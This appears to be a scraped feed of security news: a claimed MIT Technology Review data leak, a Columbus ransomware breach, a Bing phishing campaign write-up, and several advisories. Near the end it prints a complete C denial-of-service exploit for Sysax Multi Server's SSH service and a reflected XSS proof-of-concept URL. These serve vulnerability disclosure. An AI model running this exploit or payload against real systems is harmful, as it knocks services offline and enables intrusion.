Hackers claim to have breached MIT Technology Review Magazine via a third-party contractor, leaking nearly 300,000 user records…

Hackers claim to have breached MIT Technology Review Magazine via a third-party contractor, leaking nearly 300,000 user records on Breach Forums. Data includes full names, email addresses, and activity details, posing risks for phishing and targeted scams.

In a new data breach disclosed today, the hacker known as Intel Broker claims to have stolen the personal data of 290,762 individuals from MIT’s _Technology Review_ website via a third-party contractor. The data, which could be the website’s newsletter subscribers list, was posted on Breach Forums, a popular cybercrime platform, earlier today.

Intel Broker, notorious for **recent attacks on high-profile organizations**, alleges that the data includes Personally Identifiable Information. Hackread.com analyzed the leaked data and can confirm it includes personal details, which, while not as sensitive as financial data, could be leveraged in phishing attempts or targeted scams. Here is what the hacker has leaked:

*   **Full names**
*   **Dates of activity**
*   **Educational details**
*   **Email addresses (3,924 – After removal of duplicates: 1,343)**

Screenshot from the leaked data (Credit: Hackread.com)

Though the leak does not appear to contain highly sensitive information like passwords, social security numbers or financial data, the compromised data is still a privacy risk, as it could be exploited for phishing scams or identity verification attacks.

It is worth noting that this is not the first time Intel Broker has targeted a technology publication. In June 2024, an affiliate of Intel Broker **breached the “Tech in Asia” news outlet**, leaking the personal data of 221,470 users.

MIT Technology Review, an esteemed publication from the Massachusetts Institute of Technology, is known for its analysis of emerging technologies and their impact on society. This data breach potentially exposes readers and contributors who engaged with the platform, a situation that may lead to reputational challenges for the publication, as well as privacy concerns for its user base.

**Recent Activity of Intel Broker**

The alleged breach of Technology Review comes on the heels of another claim by Intel Broker, who recently advertised the sale of **sensitive internal data from Nokia** on the same forum, allegedly obtained through a similar contractor vulnerability. In the Nokia case, the hacker reportedly set a price of $20,000 for access to the stolen data, which included SSH keys, source code, and login credentials.

**Privacy Implications and MIT’s Response**

With names, email addresses, and activity data accessible, cybercriminals may use this information to craft sophisticated schemes aimed at those connected with the platform. Hackread.com has reached out to MIT’s Technology Review for a response regarding the data breach. Updates will be provided as more information becomes available. Stay tuned.

1.  **US Microchip Giant Cyberattack Disrupts Operations**
2.  **Hacker IntelBroker Leaks Sensitive US DoD Documents**
3.  **IntelBroker Apple Breach: Steals Source Code for Internal Tools**
4.  **AMD Data Breach: IntelBroker Steals Employee and Product Info**
5.  **Europol Hacked: IntelBroker Claims Major Law Enforcement Breach**

Hackers Leak 300,000 MIT Technology Review Magazine User Records

An issue in the `createTempFile` method of hornetq v2.4.9 allows attackers to arbitrarily overwrite files or access sensitive information.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-r7mv-mv7m-pjw3: hornetq vulnerable to file overwrite, sensitive information disclosure

This week on the Lock and Code podcast, we speak with Cait Conley about CISA's election security measures and why your vote can't be hacked.

_This week on the Lock and Code podcast…_

The US presidential election is upon the American public, and with it come fears of “election interference.”

But “election interference” is a broad term. It can mean the now-regular and expected foreign disinformation campaigns that are launched to sow political discord or to erode trust in American democracy. It can include domestic campaigns to disenfranchise voters in battleground states. And it can include the upsetting and increasing threats made to election officials and volunteers across the country.

But there’s an even broader category of election interference that is of particular interest to this podcast, and that’s cybersecurity.

Elections in the United States rely on a dizzying number of technologies. There are the voting machines themselves, there are electronic pollbooks that check voters in, there are optical scanners that tabulate the votes that the American public actually make when filling in an oval bubble with pen, or connecting an arrow with a solid line. And none of that is to mention the infrastructure that campaigns rely on every day to get information out—across websites, through emails, in text messages, and more.

That interlocking complexity is only multiplied when you remember that each, individual state has its own way of complying with the Federal government’s rules and standards for running an election. As Cait Conley, Senior Advisor to the Director of the US Cybersecurity and Infrastructure Security Agency (CISA) explains in today’s episode:

“There’s a common saying in the election space: If you’ve seen one state’s election, you’ve seen one state’s election.”

How, then, are elections secured in the United States, and what threats does CISA defend against?

Today, on the Lock and Code podcast with host David Ruiz, we speak with Conley about how CISA prepares and trains election officials and volunteers before the big day, whether or not an American’s vote can be “hacked,” and what the country is facing in the final days before an election, particularly from foreign adversaries that want to destabilize American trust.

>  ”There’s a pretty good chance that you’re going to see Russia, Iran, or China try to claim that a distributed denial of service attack or a ransomware attack against a county is somehow going to impact the security or integrity of your vote. And it’s not true.”

Tune in today to listen to the full conversation.

_Show notes and credits:_

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)  
Licensed under Creative Commons: By Attribution 4.0 License  
http://creativecommons.org/licenses/by/4.0/  
Outro Music: “Good God” by Wowa (unminus.com)

**Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.**

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium for Lock and Code listeners.

 Why your vote can&#8217;t be &#8220;hacked,&#8221; with Cait Conley of CISA (Lock and Code S05E23) 

A ransomware attack against the City of Columbus, Ohio—which drew public scrutiny following the city government’s attempt to silence a researcher...

A ransomware attack against the City of Columbus, Ohio—which drew public scrutiny following the city government’s attempt to silence a researcher who told the public about the attack—has received a little more detail from an unexpected source: The Attorney General for the state of Maine.

In a data breach notification filed by the Attorney General for the state of Maine, the cybersecurity incident that affected Columbus, Ohio impacted half a million people.

The City of Columbus was attacked by a ransomware group on July 18, 2024. Due to the timing, it was at first unclear whether the disruption in the public facing services was caused by the CrowdStrike incident or if it was in fact an attack. The attack was later claimed by the Rhysida ransomware group on their leak site, where the group posts information about victims that are unwilling to pay.

On September 12, 2024, the city of Columbus issued a notice of breach that was sent to its clients. The notice reads:

> “On July 18, 2024, the city discovered that it had experienced a cybersecurity incident in which a foreign cyber threat actor attempted to disrupt the City’s IT infrastructure, in a possible effort to deploy ransomware and solicit a ransom payment from the City.”

Until now, though, the public at large did not know how many people were affected by the attack. Because of the data breach notification from Maine’s Attorney General, that number now has a little more clarity.

During the incident, the cybercriminals may have gained access which included data in connection to the Columbus City Auditor.

The City Auditor’s Office examines City operations to identify an opportunity to reduce costs, increase efficiency, quality and effectiveness, or otherwise improve management of a city function, program, service or policy.

According to the official statement, the ransomware group was also able to view and access certain sensitive personal information, which may have included first and last name, date of birth, address, bank account information, City employee account number and position, City employment and payroll records, Social Security Number (SSN), and other identifying information.

Later, a security researcher disclosed information about the content of the stolen data with the media. From what the researcher shared it became clear that the data contained unencrypted personal information not only of city employees but also residents.

At which point the City of Columbus decided to sue the researcher for alleged damages for criminal acts, invasion of privacy, negligence, and civil conversion. With half a million affected people, it like safe to say the attack did not just impact City employees.

****Protecting yourself after a data breach****

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

*   **Check the vendor’s advice.** Every breach is different, so check with the vendor to find out what’s happened, and follow any specific advice they offer.
*   **Change your password.** You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
*   **Enable two-factor authentication (2FA).** If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of two-factor authentication (2FA) can be phished just as easily as a password. 2FA that relies on a FIDO2 device can’t be phished.
*   **Watch out for fake vendors.** The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims, and verify the identity of anyone who contacts you using a different communication channel.
*   **Take your time.** Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
*   **Consider not storing your card details**. It’s definitely more convenient to get sites to remember your card details for you, but we highly recommend not storing that information on websites.
*   **Set up identity monitoring.** Identity monitoring alerts you if your personal information is found being traded illegally online, and helps you recover after.

If you want to find out what personal data of yours has been exposed online, you can use our free Digital Footprint scan. Fill in the email address you’re curious about (it’s best to submit the one you most frequently use) and we’ll send you a free report.

**We don’t just report on threats – we help safeguard your entire digital identity**

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

 City of Columbus breach affects around half a million citizens 

If you searched for your bank's login page via Bing recently, you may have visited a fraudulent website enabling criminals to get your credentials and even your two-factor security code.

We identified a new wave of phishing for banking credentials that targets consumers via Microsoft’s search engine. A Bing search query for ‘Keybank login’ currently returns malicious links on the first page, and sometimes as the top search result. We have reported the fraudulent sites to Microsoft already.

While Microsoft’s Bing only has about 4% of the search engine market share, crooks are drawn to it as an alternative to Google. One particularly interesting detail is how a phishing website created barely two weeks ago is already indexed and displayed before the official one.

In this blog post, we take a look at how criminals are abusing Bing and stay under the radar at the same time while also bypassing advanced security features such as two-factor authentication.

**Bing search engine poisoning**

We first noticed a phishing campaign coming from Bing’s search engine and targeting Keybank customers on November 29. A malicious link is displayed as the first result and pretends to be Keybank’s login page.

The domain name used is _ixx-kexxx\[.\]com_ which was registered on November 15. Given that it is only two weeks old and yet came up before _ibx.key.com_ (the real website), we surmise that the attackers are abusing Bing’s search algorithms.

**Indexing and cloaking in one go**

Upon clicking on the link, users are redirected to a friendly and helpful website before getting redirected again to the actual phishing page. However, we need to pause right here in order to see a couple of “blackhat” techniques.

That first page is only meant for crawlers and scanners (and users who aren’t of interest) which will both scrape the content and index it, as well as see that the page is clean. This technique is fairly common, and we actually see similar examples with ad fraud. The idea is about creating content that looks real, like a blog, but with malicious intent (monetization or other).

Actual victims do not get to see that page because they are immediately redirected to another website, this time completely malicious. The redirect happens server-side based on user attributes such as their browser profile, IP address and others.

That page uses the official branding and is a login portal for KeyBank. Once a victim types their user ID and password, criminals will receive the data immediately. Note that the phishing site is using https, which means strictly nothing here (the information will be encrypted while in transit but received in clear text by the recipient).

**Bypassing multi factor authentication**

In some phishing campaigns, criminals are notified in real time when a new victim attempts to login into their fraudulent page. One thing we noticed on the phishing page after the first screen, was a message claiming that the internet connection was poor. This is a disguise for what’s happening behind the scenes:

It’s often necessary for criminals to get past a few hurdles first. They need to login from the same location as the victim (their fake site gives them the IP address and they can use a proxy) and they may need to get through multi-factor authentication. Sometimes, the easiest thing to do is simply to ask for it.

Multi-factor authentication is still highly recommended, but users should be aware that criminals can directly ask for verification codes while pretending to be the real bank. We should also note that SMS verification is one of the weakest methods for two-factor authentication.

Security questions (usually 3 of them) are also used to either reset a password or for some other verification purpose (maybe a login from a new browser or location). This phishing kit also asks the victims to enter that information:

**Conclusion**

Phishing is one of the biggest threats consumers face every day. Malicious links can be sent to them via email, text message, social media or they may simply come across them via a search engine.

In this particular example, Bing was tricked into indexing a website that looked legitimate but turned out to be a gateway to a phishing portal. As the domain name was unknown to Microsoft at the time, it failed to protect users.

We highly recommend anyone to adopt more phishing-proof ways to login into important websites. Passkeys come to mind immediately since they do not involve passwords at all. In other words, if you don’t need to type a password… there’s no password to steal.

Unfortunately, not all websites offer the latest technologies to protect their customers. While it is important to add a second factor for authentication, you may want to upgrade to an Authenticator app, instead of the less trustworthy SMS verification. Perhaps the most important thing to remember is that criminals can also try to request those one-time codes from you and you should always be extremely vigilant before entering them in any online website (or replying to an unknown text).

Malwarebytes Browser Guard already protected users from this phishing campaign without having seen the malicious websites before. This is because of the built-in anti-phishing heuristic rules which intercept the connection and display a warning message:

If you suspect your banking information has already been stolen, try to take action as quickly as possible by contacting your financial institution(s) and resetting all your passwords (especially if you reused any of them for different websites).

**We don’t just report on threats – we help safeguard your entire digital identity**

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

**Indicators of Compromise**

Cloaking domains

ixx-kexxx\[.\]com

Phishing domains

xxx-ii-news\[.\]net  
xxx-ii-news\[.\]com  
ixxx-blognew\[.\]com  
xxx-ii-news\[.\]net  
new-bllog-i\[.\]com  
info-blog-news\[.\]com  
xv-bloging-info\[.\]com  
xxx-new-videos\[.\]com

Hosting server

200.107.207\[.\]232

 Crooks bank on Microsoft&#8217;s search engine to phish customers 

Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. It provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy. Individuals can use it to keep remote Websites from tracking them and their family members. They can also use it to connect to resources such as news sites or instant messaging services that are blocked by their local Internet service providers (ISPs). This is the source code release.

TOR Virtual Network Tunneling Tool 0.4.8.13

Debian Linux Security Advisory 5802-1 - Security issues were discovered in Chromium which could result in the execution of arbitrary code, denial of service, or information disclosure.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256- -------------------------------------------------------------------------Debian Security Advisory DSA-5802-1                   security@debian.orghttps://www.debian.org/security/                           Andres SalomonNovember 03, 2024                     https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : chromiumCVE ID         : CVE-2024-10487 CVE-2024-10488Security issues were discovered in Chromium which could resultin the execution of arbitrary code, denial of service, or informationdisclosure.For the stable distribution (bookworm), these problems have been fixed inversion 130.0.6723.91-1~deb12u1.We recommend that you upgrade your chromium packages.For the detailed security status of chromium please refer toits security tracker page at:https://security-tracker.debian.org/tracker/chromiumFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEUAUk+X1YiTIjs19qZF0CR8NudjcFAmcoAE8ACgkQZF0CR8NudjeqxQ/9Ez3gP1lKx7QLfaDgGC2gM4hvIArxdDqZoYA51dyoESodokmzVQeJ15uyUhMWs1j46/vpXpPiUv7GJnk4ib8fqw7Ybb2AEY/bJh/TkL9iTTrTbax4I2U8wV/P/QPs/vz/cgLmGP/SwzbRIkudQb9eJZbArC5a0T78wtjb+miOkvC3JDuOSpThuVpk59H4ppXRNht9XV1BlCz8kgtQuR01EMYP0+hochN6h/XzBD9YgZ2BDwltEpMjDzOaqH4la1WmgKgPwovFF0hZXVz4ttxN8elhkS6V8B9tYX0QihEudKe6iAcmzaAGKH+U7mPTacBps3xt5SPTGHwBCJ7uhsDNwePp2Pe0Xq7coKIicFLq9qKeUDipq4PVWD6UzKZ5+UVhoLBayzlBe/3HSmRbBjWsBnQY5ntOAzqK3Q2/m6JhA7PzFFO43UzhVi70wXGZwhDZqeCVEzXUB3xwmzD7vib8rBCBm08Zr73wHWDsq6kbnYDvf1KPlXNio2OS2NlIcBM6AjQgZg5U+4m4EPNSsONSbU9OtEtvVBuWbFISPVCTRFFb2JPK4XGzQ+tdipfZJ3qmhU39IL2NqGncMoZnwTB1w/HutIBwNb6yA8MBvzARLcb3pi3tstg0Yc754a9W6D534BcYiTPcWlgxd+La5RZs+oWvHJ2LKS1saDQ662G8r5A==sXh5-----END PGP SIGNATURE-----

Debian Security Advisory 5802-1

Sysax Multi Server version 6.9.9 suffers from an SSH related denial of service vulnerability.

    # Exploit Title: Sysax Multi Server 6.99 - SSH Denial of Service# Date: 2024-11-03# Exploit Author: Yehia Elghaly (Mrvar0x)# Vendor Homepage: https://www.sysax.com/# Software Link: https://www.sysax.com/download/sysaxserv_setup.msi# Version: Sysax Multi Server 6.99# Tested on: Windows 10 x64#Steps --> Compile (gcc -o ssh ssh.c)#Steps --> Run (sudo ./ssh <Target IP> <Port>)#Steps --> Crash (SSH Crashed)#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <arpa/inet.h>#include <sys/socket.h>#include <netinet/tcp.h>void error_handling(const char *message) {    perror(message);    exit(1);}int main(int argc, char *argv[]) {    if (argc != 3) {        printf("Usage: %s <IP> <Port>\n", argv[0]);        exit(1);    }    const char *host = argv[1];    int port = atoi(argv[2]);        unsigned char packet[] = {0x01, 0x02, 0x03, 0x04, 0xAA, 0xBB, 0xCC, 0xDD,      0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0,      0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0x00, 0xFF,      0x10, 0x20, 0x30, 0x40, 0x50, 0x60, 0x70, 0x80,      0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,      0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,      0x0F, 0x0E, 0x0D, 0x0C, 0x0B, 0x0A, 0x09, 0x08,      0xF1, 0xE2, 0xD3, 0xC4, 0xB5, 0xA6, 0x97, 0x88,      0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF,      0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,    0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF,    0xFF, 0xEE, 0xDD, 0xCC, 0xBB, 0xAA, 0x99, 0x88,    0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x00,  };  int sock = socket(AF_INET, SOCK_STREAM, 0);    if (sock == -1) {        error_handling("Socket creation failed");    }    int flag = 1;    setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));    struct linger sl = {1, 0}; // Close immediately    setsockopt(sock, SOL_SOCKET, SO_LINGER, &sl, sizeof(sl));    struct sockaddr_in serv_addr;    memset(&serv_addr, 0, sizeof(serv_addr));    serv_addr.sin_family = AF_INET;    serv_addr.sin_addr.s_addr = inet_addr(host);    serv_addr.sin_port = htons(port);    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == -1) {        error_handling("Connect failed");    }    const char *ssh_banner = "SSH-2.0-OpenSSH_7.1p1 Debian-5ubuntu1\r\n";    if (send(sock, ssh_banner, strlen(ssh_banner), 0) == -1) {        error_handling("Failed to send SSH banner");    }    usleep(100000);     for (int i = 0; i < 5; ++i) {        if (send(sock, packet, sizeof(packet), 0) == -1) {            error_handling("Failed to send payload");        }        usleep(50000); // Short delay between sends    }    printf("Payload sent successfully.\n");    char buffer[1024];    ssize_t bytes_received = recv(sock, buffer, sizeof(buffer) - 1, 0);    if (bytes_received > 0) {        buffer[bytes_received] = '\0';        printf("Received response: %s\n", buffer);    } else {        printf("No response received or connection closed.\n");    }    close(sock);    return 0;}

Sysax Multi Server 6.99 SSH Denial Of Service

Sysax Multi Server version 6.9.9 suffers from a cross site scripting vulnerability.

Change Mirror Download

    # Exploit Title: Sysax Multi Server 6.99 - Reflected XSS# Date: 2024-11-03# Exploit Author: Yehia Elghaly (Mrvar0x)# Vendor Homepage: https://www.sysax.com/# Software Link: https://www.sysax.com/download/sysaxserv_setup.msi# Version: MultiServer 6.99# Tested on: Windows 10 x64Reflected XSS - Affected Parameter  (/scgi?sid).PoC:192.168.1.160/scgi?sid=44abd541f5a769556f36080e7c8a7b1f68e04510<script>alert("XSS")</script>&pid=transferpage2_name1_fff.htm

Sysax Multi Server 6.99 Cross Site Scripting

IBM Security Verify Access versions prior to 10.0.8 suffer from authentication bypass, reuse of private keys, local privilege escalation, weak settings, outdated libraries, missing password, hardcoded secrets, remote code execution, missing authentication, null pointer dereference, and lack of privilege separation vulnerabilities.

Latest News